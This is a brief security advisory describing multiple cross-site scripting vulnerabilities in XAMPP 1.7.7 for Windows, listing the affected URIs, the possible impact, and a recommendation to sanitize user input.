XAMPP Cross-Site Scripting Vulnerabilities

Multiple cross-site scripting vulnerabilities in XAMPP allow remote attackers to inject arbitrary web script or HTML via the (1) /security/xamppsecurity.php, (2) /xampp/perlinfo.pl, or (3) /xampp/cds.php URI.

Mitigation:

To mitigate these vulnerabilities, it is recommended to sanitize user-supplied data before using it in web applications.

XAMPP is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

These issues affect XAMPP 1.7.7 for Windows.
